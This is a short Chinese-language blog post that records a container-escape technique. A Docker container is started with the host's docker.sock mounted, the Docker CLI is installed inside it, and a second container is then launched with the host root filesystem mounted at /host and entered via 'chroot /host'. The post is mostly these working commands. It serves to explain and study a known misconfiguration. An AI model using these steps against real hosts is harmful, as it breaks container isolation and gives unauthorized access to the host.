容器逃逸 --with docker.sock

容器逃逸 --with docker.sock

本人对于容器逃逸的基本理解就是用户从容器中逃出去到宿主机里去了。

本文意在记录一个使用 docker.sock 来进行容器逃逸的方法。

首先随便来个镜像,这里选用 ubuntu:20.04

docker pull ubuntu:20.04
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock -d ubuntu:20.04

可以看到这里挂载了 docker.sock 到容器内。

进入容器并下载 docker-ce-cli

apt update
apt-get install     ca-certificates     curl     gnupg     lsb-release

mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg

echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

apt-get update
apt-get install docker-ce-cli

然后运行一个新的容器:

docker run -it -v /:/host ubuntu:20.04 bash

可以看到这里把根目录挂载到了新的容器内,要注意这个根目录可不是当前容器的根目录,而是当前容器的宿主机的根目录,在新的容器内,我们执行

chroot /host

这样就可以在新的容器内直接访问宿主机的文件系统了,实现了逃逸。

posted @ 2022-12-16 14:39  xDaniel  阅读(123)  评论(0编辑  收藏  举报